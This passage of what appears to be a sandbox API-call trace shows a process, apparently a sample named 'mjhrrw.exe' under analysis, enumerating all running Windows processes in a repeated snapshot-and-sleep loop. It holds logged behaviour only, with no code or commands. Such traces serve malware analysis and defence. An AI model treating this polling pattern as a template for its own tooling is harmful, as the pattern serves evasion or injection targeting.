th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.066] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.066] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.067] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.068] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.068] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0241.069] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0241.069] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0241.070] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.070] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0241.071] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0241.071] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.071] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0241.072] CloseHandle (hObject=0x380) returned 1 [0241.072] Sleep (dwMilliseconds=0x1f4) [0241.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0241.885] Process32FirstW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.886] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.887] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.887] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.888] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.890] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.890] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.891] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.892] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.893] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.894] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.894] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.895] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.896] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.897] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.897] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.898] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.899] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.900] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.901] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.901] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.902] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.903] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.904] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.905] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.906] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.907] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.928] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0241.928] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0241.929] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0241.930] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.931] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.931] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.932] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.933] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.933] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.934] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.934] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0241.935] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0241.935] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0242.316] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.317] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0242.317] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0242.318] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.319] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0242.319] CloseHandle (hObject=0x384) returned 1 [0242.319] Sleep (dwMilliseconds=0x1f4) [0243.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0243.031] Process32FirstW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.031] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.032] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.032] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.033] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.034] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.034] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.035] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.035] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.036] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.036] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.037] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.037] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.038] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.038] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.039] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.039] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.040] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.041] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.041] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.041] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.042] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.042] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.043] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.043] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.044] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, 